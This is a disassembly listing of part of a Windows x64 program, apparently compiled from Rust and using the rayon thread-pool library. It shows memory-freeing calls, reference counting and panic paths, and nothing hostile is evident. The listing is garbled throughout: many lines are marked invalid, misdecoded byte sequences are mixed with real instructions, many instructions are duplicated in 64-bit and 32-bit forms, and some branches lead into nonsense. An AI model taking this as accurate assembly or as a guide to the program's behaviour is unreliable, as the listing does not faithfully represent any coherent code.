mov rax, qword [r15 + 0x1a8]
mov rdx, rdi
call qword [rax + 0x28]
mov eax, dword [0x1400f92c4]
or dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x98], rsi
jne 0x140068679
hlt
add dword [rax], eax
invalid
hlt
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x98], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x198]
lock dec qword [rax]
jne 0x1400684be
lea rcx, [rsp + 0x198]
call fcn.140010310
invalid
dec dword [rax - 0x75]
test byte [rax + rdi*4], ah
add dword [rax], eax
add al, dh
dec qword [rax]
mov rax, qword [rsp + 0x1b8]
lock dec qword [rax]
jne case.0x14002632d.483
lea rcx, [rsp + 0x1b8]
lea ecx, [rsp + 0x1b8]
call fcn.140010310
mov rsi, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
and rdi, 0xfffffffffffffffe
and rsi, 0xfffffffffffffffe
cmp rdi, rsi
jne 0x14006853d
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x190]
lock dec qword [rax]
jne 0x140068528
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140068559
invalid
adc esp, dword [rsi + 0x2e]
nop dword [rax + rax]
add rdi, 2
cmp rsi, rdi
cmp esi, edi
cmp esi, edi
je 0x1400684fe
mov eax, edi
not eax
test al, 0x7e
jne 0x140068550
mov r14, qword [r8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbx
mov r8, r14
jmp 0x140068550
lea rdx, [rax + r12*8]
add rdx, 0x30
lea rcx, [rsp + 0x80]
call fcn.1400ac5e0
mov rdx, qword [r14 + 0x210]
cmp rbx, rdx
jb 0x1400683d9
invalid
invalid
invalid
invalid
invalid
invalid
lea r8, [0x1400e29d8]
mov rcx, rbx
call fcn.1400a9fa0
ud2
call fcn.1400ae5e0
mov r14d, eax
xor r14b, 1
movzx eax, byte [rbx + 8]
test al, al
je 0x140068416
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x78], r14b
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_srclatch.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
invalid
xor cl, byte [rax]
add byte [rbp + rcx*4 + 0xd], cl
invalid
invalid
invalid
invalid
invalid
movabs eax, dword [0xba7024448d4c0007]
sub eax, dword [rax]
add byte [rax], al
invalid
lea r8, [rsp + 0x70]
mov edx, 0x2b
jo 0x1400685c0
call fcn.1400aa430
and dword [rsi], ebx
add al, 0
ud2
call fcn.1400ae5e0
test al, al
jne 0x14006836d
test dword [rdi - 3], ecx
invalid
invalid
retf 0x45f
test dword [rdi - 3], ecx
invalid
mov byte [rbx + 8], 1
or byte [rcx], al
jmp 0x14006836d
call fcn.1400ae5e0
test al, al
invalid
ror byte [rdi], 0x85
paddd mm7, mm7
inc esi
mov byte [rbx + 8], 1
jne 0x140068443
mov byte [rbx + 8], 1
jmp 0x140068443
invalid
invalid
mov ecx, edi
call fcn.1400a9fa0
sbb dword [rax + rax], eax
ud2
lea r8, [0x1400e29c0]
add eax, 0x7a36b
mov rcx, rbx
call fcn.1400a9fa0
fld1
sbb dword [r8 + r8], eax
ud2
or ecx, dword [rax - 0x73]
or eax, 0x7a31a
invalid
lea rcx, str.assertion_failed:_t.get__.is_null__
add byte [rbp + rcx*4 + 5], cl
cmp esp, dword [rbx + 0x23ba0007]
add byte [rdx + 0x23], bh
invalid
lea r8, [0x1400e29a8]
mov edx, 0x23
add byte [rdx + 0x23], bh
call fcn.1400aa0a0
sub dword [rdx], ebx
add al, 0
ud2
lea rcx, str.assertion_failed:_t.get__.eq__self_as_const____
lea ecx, str.assertion_failed:_t.get__.eq__self_as_const____
lea r8, [0x1400e2968]
lea eax, [0x1400e2968]
mov edx, 0x31
xor dword [rax], eax
add byte [rax], al
call fcn.1400aa0a0
add al, 0
ud2
int3
int3
int3
sub rsp, 0x38
mov rax, rdx
mov eax, edx
mov qword [rsp + 0x30], rcx
lea r8, [rcx + 0x18]
xor byte [rbp + rcx*4 + 0x41], cl
sbb byte [rax - 0x73], cl
invalid
invalid
lea rcx, [0x1400e2770]
or eax, 0x7a0b9
invalid
mov qword [rsp + 0x28], rcx
and al, 0x28
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
and al, 0x20
xor byte [rax - 0x77], cl
and al, 0x20
lea rdx, str.NulError0
lea edx, str.NulError0
xor esi, dword [rdx]
or byte [rax], al
xor cl, byte [rax]
add byte [rbp + rcx*4 + 0xd], cl
invalid
invalid
jl 0x140068672
invalid
lea r9, [0x1400e2750]
lea ecx, [0x1400e2750]
movabs al, byte [0xbac4e8c189480007]
std
call qword [rax + 0x38c48348]
nop
add rsp, 0x38
invalid
invalid
invalid
mov rcx, rax
mov ecx, eax
call fcn.1400441a0
invalid
nop
add rsp, 0x38
invalid
invalid
invalid
ret
int3
int3
int3
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [0x1400f9138]
mov rax, qword [0x1400f9138]
or cl, byte [rcx]
add byte [rax - 0x7d], cl
cmp rax, 3
jne 0x140068727
cmp rax, 3
jne 0x140068727
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
and al, 0x30
cmp rcx, 3
jne 0x140068771
push rdx
stc
add esi, dword [rbp + 0x52]
push rdx
push rdx
mov rsi, rax
jmp 0x1400687e4
add byte [rax], al
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
and al, 0x38
cmp byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, [0x1400e2900]
lea rax, [0x1400e2900]
mov esi, 0x480007a1
mov dword [rsp + 0x20], eax
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, [0x1400f9138]
lea ecx, [0x1400f9138]
invalid
or dword [rax], eax
lea r9, [0x1400e2640]
lea ecx, [0x1400e2640]
lea r8, [rsp + 0x40]
lea eax, [rsp + 0x40]
xor edx, edx
xor edx, edx
call fcn.1400adc90
mov rcx, qword [rsp + 0x28]
and al, 0x28
invalid
and al, 0x28
mov rax, qword [rsp + 0x30]
and al, 0x30
cmp rcx, 3
je 0x14006871f
cmp qword [0x1400f9130], 0
cmp dword [0x1400f9130], 0
je 0x1400687f1
lea rsi, [0x1400f9130]
or dword [rax], eax
cmp rcx, 2
jb 0x1400687e4
pop rsp
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
lea edx, [rcx - 2]
lea edx, [rcx - 2]
cmp rdx, 2
jb 0x1400687e4
test rcx, rcx
je 0x1400687e4
lea rdi, [rax - 1]
mov rbx, qword [rax - 1]
dec dword [rbx + rcx*4 + 0x70]
invalid
mov rcx, rbx
fld dword [rcx - 1]
invalid
cmp qword [r14 + 8], 0
or byte [rax], al
dec dword [rbx + rcx*4 + 0x70]
invalid
fld dword [rcx - 1]
invalid
or byte [rax], al
je 0x1400687d2
cmp qword [r14 + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400687c0
mov rbx, qword [rbx - 8]
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x47c36
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x47c36
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
lea rax, [0x1400e28e8]
mov qword [rsp + 0x20], rax
lea rcx, str.The_global_thread_pool_has_not_been_initialized.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_src_registry.rs
lea r9, case.0x1400270ad.366
lea r8, [rsp + 0x28]
mov edx, 0x30
call fcn.1400aa430
ud2
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp dword [rcx], 2
jb 0x140068854
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
or byte [r9 + 0x3e183c1], cl
lea rdx, [rcx - 2]
cmp rdx, 2
add dh, byte [rdx + 5]
add dh, byte [rdx + 5]
test rcx, rcx
jne 0x14006885c
invalid
or byte [rax - 0x7d], cl
invalid
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov edi, dword [rax - 1]
mov edi, dword [rax - 1]
mov rbx, qword [rax + 7]
mov ebx, dword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
jnp case.0x14002739f.345
invalid
je case.0x140032218.245
jnp case.0x14002739f.345
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
jnp 0x140068888
invalid
cmp qword [rbx + 0x10], 0x11
jnp 0x140068888
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x14006887f
mov rdi, qword [rdi - 8]
jg 0x140068877
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or dword [rax], eax
xor edx, edx
ror byte [rcx - 0x77], cl
clc
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jnp 0x140068894
add byte [rax - 0x75], cl
or eax, 0x90960
or dword [rcx], ecx
invalid
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
or dword [rcx], ecx
add byte [rcx], dh
xor edx, edx
mov r8, rsi
invalid
add rsp, 0x20
invalid
ror byte [rcx - 0x77], cl
invalid
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
pop rbp
jnp case.0x1400270ad.384
invalid
pop rbp
jnp case.0x1400270ad.384
add ah, cl
int3
int3
sub rsp, 0x40
sub esp, 0x40
mov rsi, rdx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
invalid
invalid
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x7a2cc
invalid
invalid
invalid
lea rdx, [0x1400e2b98]
lea edx, [0x1400e2b98]
movabs byte [0x14b8410007], al
invalid
mov r8d, 0x14
mov eax, 0x14
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
je 0x1400688fd
invalid
sbb byte [rax - 0x77], cl
je 0x1400688fd
and al, 0x28
sub byte [rax - 0x39cfdbbc], cl
mov byte [rsp + 0x30], al
and al, 0x30
mov byte [rsp + 0x31], 0
lea rax, [0x140068970]
add eax, 0x86
and al, 0x31
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x86
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x80535
invalid
or byte [rax], al
lea rdx, [0x1400e8e2b]
lea edx, [0x1400e8e2b]
add eax, 0x8d480008
or byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rbp + rcx*4 + 0x4c], cl
lea r9, [rsp + 0x38]
lea ecx, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax], al
add al, ch
test dword [rbp + 0x7c80fffd], ebp
lodsd eax, dword [rsi]
std
invalid
invalid
jl case.0x140080d34.340
invalid
call fcn.140043690
cmp byte [rsp + 0x31], 0
jl case.0x140080d34.340
xor dword [rax], eax
lodsd eax, dword [rsi]
std
inc dword [rax + 0x31247c]
jl case.0x140080d34.340
xor dword [rax], eax
add byte [rdi], cl
movzx eax, byte [rsp + 0x30]
mov dh, 0x44
and al, 0x30
xor byte [rax + rax*2 - 0x7c], dh
je case.0x140028256.339
test al, al
test al, al
sal byte [rax + 0x483a7501], 0x8b
mov al, 1
jne case.0x140028256.339
add dword [rbp + 0x3a], esi
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
and al, 0x28
sub dh, dh
xor al, 4
xor al, 4
test byte [rax + 0x34], 4
xor al, 4
add al, 0x75
invalid
jne 0x14006893f
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e3857]
adc eax, 0x7af20
and byte [rdi - 0x47befff9], ch
scasd eax, dword [rdi]
invalid
add byte [rcx - 0x48], al
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add bl, ch
jmp 0x140068954
mov rcx, qword [rax + 0x20]
add byte [rax], al
jmp 0x140068954
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
lea rdx, [0x1400e9693]
adc eax, 0x80d45
or eax, 0xb8410008
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
push rax
sbb byte [rax + rax*8 + 0x48c0950f], al
test al, al
setne al
add rsp, 0x40
test al, al
setne al
add rsp, 0x40
invalid
pop rsi
ret
int3
int3
int3
int3
int3
int3
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
mov rsi, rdx
mov rsi, rdx
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rcx, qword [rax]
test rcx, rcx
leave
je case.0x140028256.350
and byte [rbx + 0x3d7501f9], al
cmp ecx, 1
jne 0x1400689c6
invalid
add dword [rbp + 0x3d], esi
cmp eax, 0x204e8b48
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x7a22c
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400e2bc8]
adc eax, 0x7a22c
add byte [rcx - 0x48], al
sbb al, byte [rax]
add byte [rax], al
mov r8d, 0x1a
mov eax, 0x1a
jmp case.0x140046b1e.170
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e2bac]
adc eax, 0x7a1f5
add byte [rcx - 0x48], al
mov r8d, 0x1c
sbb al, 0
add byte [rax], al
add rsp, 0x48
add esp, 0x48
pop rbx
pop rbx
pop rsi
jmp rax
invalid
loopne case.0x140032218.249
add rax, 8
add eax, 8
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e2be2]
add al, 0xa2
invalid
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x7a204
add al, 0xa2
invalid
invalid
add al, 0xa2
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 7
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
invalid
je case.0x140032218.249
invalid
mov dword [rsp + 0x30], esi
and al, 0x30
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
add byte [rax], al
invalid
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add byte [rax], al
invalid
cmp byte [rax - 0x39], cl
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
and al, 0x39
mov byte [rsp + 0x39], 0
lea r8, [0x1400e2bf0]
jmp case.0x140028256.350
invalid
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
add byte [rbp + rcx*4 + 5], cl
jmp case.0x140028256.350
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
call fcn.140043f20
mov rax, qword [rsp + 0x28]
and al, 0x28
std
dec dword [rax - 0x75]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
invalid
je 0x140068a79
cmp byte [rax - 0x7b], cl
sal byte [rsi + rdx*2 - 0x4d], 1
mov bl, 1
add dword [rcx + rcx*8 - 0x74b7ad8b], eax
test cl, cl
jne case.0x14002f576.288
mov rsi, qword [rsp + 0x30]
je case.0x14002f576.282
xor byte [rax - 0x7d], cl
clc
add dword [rbp + 0x29], esi
jne 0x140068a5d
cmp rax, 1
jne 0x140068a5d
cmp byte [rsp + 0x39], 0
jl 0x140068a5b
cmp dword [rax], eax
je 0x140068a5d
test byte [rsi + 0x34], 4
xor al, 4
jne 0x140068a5d
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
lea edx, [0x1400e77f5]
sub byte [rax - 0x73], r9b
adc eax, 0x7eda5
invalid
invalid
lea edx, [0x1400e77f5]
invalid
mov r8d, 1
mov eax, 1
add bh, bh
push rax
call qword [rax + 0x18]
sbb byte [rax + rax*8 - 0x74b7e18b], al
test al, al
jne case.0x14002f576.288
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x8040a
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
lea edx, [0x1400e8e76]
adc eax, 0x8040a
or byte [rax], al
mov r8d, 1
mov eax, 1
add bh, bh
push rax
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x14002f576.288
invalid
sbb byte [rcx - 0x76fd143d], cl
retf
add cl, byte [rcx + 0xfdb84cb]
xchg ebp, eax
mov ebx, ecx
test bl, bl
setne al
ror byte [rax - 0x7d], 0xc4
pop rbx
ror byte [rax - 0x7d], 0xc4
pop rbx
invalid
pop rsi
ret
int3
int3
sub rsp, 0x28
mov rax, qword [rcx]
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
lea rcx, [rsp + 0x20]
and al, 0x20
call case.0x140032218.272
or al, byte [rax]
add byte [rax], al
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
invalid
invalid
ret
int3
push r15
push r14
push rsi
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf8
sub esp, 0xf8
sub esp, 0xf8
add byte [rax], al
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rbx, qword [rax]
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
sbb byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test ebx, ebx
fisttp dword [rdi]
je 0x140068ef1
test byte [rbx], bl
add al, 0
add byte [rsi - 0x39], ah
invalid
invalid
test byte [rax + rdx*4], ah
nop
mov word [rsp + 0x90], 0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
nop
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x70
jo 0x140068af8
add byte [rax], al
invalid
mov qword [rsp + 0x70], 0
jo 0x140068af8
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x80], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x48], eax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x48], eax
adc dword [rsp + 0x48], eax
lea rcx, [rsp + 0x28]
and al, 0x28
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
call fcn.140068f10
mov r15, qword [rsp + 0x28]
jl 0x140068b46
invalid
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x28
jl 0x140068b46
sub byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
mov r14, qword [rsp + 0x30]
cmp r15, 3
je 0x140068b55
invalid
invalid
cmp r15d, 2
jne case.default.0x140068b4c
xchg ebp, eax
add byte [rax], al
invalid
xchg ebp, eax
add byte [rax], al
add byte [rcx + rcx*4 - 0xa], al
mov esi, r14d
mov esi, r14d
and esi, 3
lea rax, [0x1400efab0]
outsd dx, dword [rsi]
or byte [rax], al
invalid
add ecx, dword [rax - 0x73]
add eax, 0x86f6b
outsd dx, dword [rsi]
or byte [rax], al
invalid
outsd dx, dword [rsi]
or byte [rax], al
invalid
add byte [rax + 0x63], cl
or al, 0xb0
movsxd rcx, dword [rax + rsi*4]
invalid
add rcx, rax
jmp rcx
sar edi, 0xe1
movzx eax, byte [r14 + 0x10]
jmp 0x140068b9a
mov dh, 0x46
adc bl, ch
mov r15, r14
mov r15, r14
test dword [rcx + rcx*4 - 0x44], 0x9824
add byte [rax - 0x7d], cl
invalid
invalid
cmp eax, 0x905c8
or dword [rax], eax
mov qword [rsp + 0x98], r15
mov dword [rsp + 0x98], edi
add byte [rax], al
cmp qword [0x1400f9130], 0
je 0x140068b7f
or dword [rax], eax
add byte [rbp + rdx - 0x10], dh
dec qword [r15]
dec dword [rdi]
lock dec qword [r15]
dec dword [rdi]
jne 0x140068b86
lea rcx, [rsp + 0x98]
call fcn.1400677b0
in al, dx
invalid
invalid
jmp 0x140068b86
and al, 0x98
add byte [rax], al
add al, ch
xor ebp, esp
in al, dx
in al, dx
invalid
invalid
mov qword [0x1400f9130], r15
cmp eax, 0x905aa
add eax, 0xbf410009
mov r15d, 3
add eax, dword [rax]
add byte [rax], al
lea r14, [0x1400f9130]
popfq
add eax, 0x38eb0009
or dword [rax], eax
jmp case.default.0x140068b4c
or dword [rax], eax
jmp case.default.0x140068b4c
movzx eax, byte [r14 + 0xf]
movzx eax, byte [rsi + 0xf]
invalid
cmp al, 0x24
je 0x140068bac
invalid
invalid
jmp case.default.0x140068b4c
sub eax, 0x48f0894c
shr eax, 0x20
cmp eax, 0x78
call 0x1b8ff0eca
and byte [rbx + 0x217578f8], al
jne case.default.0x140068b4c
and dword [rbx + 0x9071205], ecx
add byte [rbp + 0x48], ah
invalid
invalid
mov eax, dword [0x1400f92c4]
add eax, 0x90712
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x98], 0
cmp dword [rax + 0x98], 0
mov eax, 0x98
add byte [rdi], cl
je 0x140068c80
invalid
cwde
add byte [rax], al
add byte [rax], al
je 0x140068c80
mov bl, 0
add byte [rax], al
mov rcx, qword [rbx]
mov ecx, dword [rbx]
mov rax, qword [rbx + 8]
mov eax, dword [rbx + 8]
cmp rcx, 3
cmp ecx, 3
add esi, dword [rdi + 0x1e]
ja case.0x140046b1e.201
invalid
cmp rcx, 2
stc
add dh, byte [rax + rbx + 0x4c]
je case.0x140046b1e.201
mov qword [rbx], r15
je case.0x140046b1e.201
mov qword [rbx], r15
mov qword [rbx + 8], r14
jae 0x140068bef
add rsp, 0xf8
invalid
clc
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
push rcx
invalid
push rcx
dec byte [rax - 0x7d]
cmp rdx, 2
jb 0x140068be0
invalid
test rcx, rcx
test ecx, ecx
cmp rdx, 2
jb 0x140068be0
invalid
invalid
test ecx, ecx
je 0x140068be0
lea rsi, [rax - 1]
lea esi, [rax - 1]
dec dword [rax - 0x75]
js 0x140068c13
mov rdi, qword [rax - 1]
dec dword [rbx + rcx*4 + 0x60]
invalid
mov r12, qword [rax + 7]
mov rcx, rdi
invalid
call qword [r12]
adc al, 0x24
cmp qword [r12 + 8], 0
je 0x140068c45
and al, 8
add byte [rsi + rbx + 0x49], dh
cmp dword [rsp + 0x10], 0x11
jl 0x140068c4f
adc byte [rcx], dl
cmp qword [r12 + 0x10], 0x11
jl 0x140068c4f
adc byte [rcx], dl
jb 0x140068c33
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
jg case.0x140068b4c.202
clc
mov rcx, qword [0x1400f91f8]
add eax, 0xd2310009
or dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 0x77], cl
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x477c3
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x905ac
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140068be0
ja 0x140068c5a
invalid
sub byte [rdi], cl
xchg dword [rcx + 1], ebp
add byte [rax], al
lea rcx, [0x1400efac0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov qword [rsp + 0x98], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rbp*4], ah
add byte [rax], al
mov qword [rsp + 0xa8], 1
mov dword [rsp + 0xa8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xb0], 0
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
invalid
add byte [rax], al
mov qword [rsp + 0xc0], 0
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsp + 0xe0], 0
mov dword [rsp + 0xe0], 0
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rsi*8], ah
and al, 0xf0
mov word [rsp + 0xf0], 1
and al, 0xf0
lock add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
lea rdx, [rsp + 0x98]
call fcn.140068f10
sub al, 2
add byte [rax], al
xchg esp, eax
and al, 0x98
add byte [rax], al
add al, ch
sub al, 2
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x38
and al, 0x38
mov rax, qword [rsp + 0x38]
and al, 0x38
cmp byte [rax - 0x7d], cl
clc
add esi, dword [rbp + 0x69]
invalid
cmp rax, 3
jne case.0x14004b1de.113
invalid
imul ecx, dword [rbx + rcx*4 + 0x7c], 0x8d484024
mov r15, qword [rsp + 0x40]
lea rax, [rsi - 2]
lea eax, [rsi - 2]
lea eax, [rsi - 2]
dec byte [rax - 0x7d]
clc
add cl, byte [rdi]
invalid
cmp rax, 2
jb 0x140068b58
invalid
test rsi, rsi
test esi, esi
test byte [rdi], 0x84
invalid
je 0x140068b58
dec dword [rcx - 0x73]
jbe 0x140068d0e
lea rsi, [r14 - 1]
mov rdi, qword [r14 - 1]
jle case.0x14004b1de.103
mov r14, qword [r14 + 7]
jbe 0x140068d1e
jle case.0x14004b1de.103
dec dword [rbp - 0x75]
jbe 0x140068d1e
mov rcx, rdi
mov ecx, edi
stc
call qword [r14]
cmp qword [r14 + 8], 0
jle 0x140068d29
invalid
invalid
cmp dword [rsi + 8], 0
jle 0x140068d29
or byte [rax], al
je 0x140068d41
sbb eax, 0x107e8349
adc dword [rdx + 4], esi
invalid
cmp qword [r14 + 0x10], 0x11
jle case.0x14004e84a.44
adc byte [rcx], dl
jb 0x140068d2f
add al, 0x48
mov edi, dword [rdi - 8]
jg case.0x14004b1de.106
mov rdi, qword [rdi - 8]
jg case.0x14004b1de.106
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x904c2
or dword [rax], eax
add byte [rcx], dh
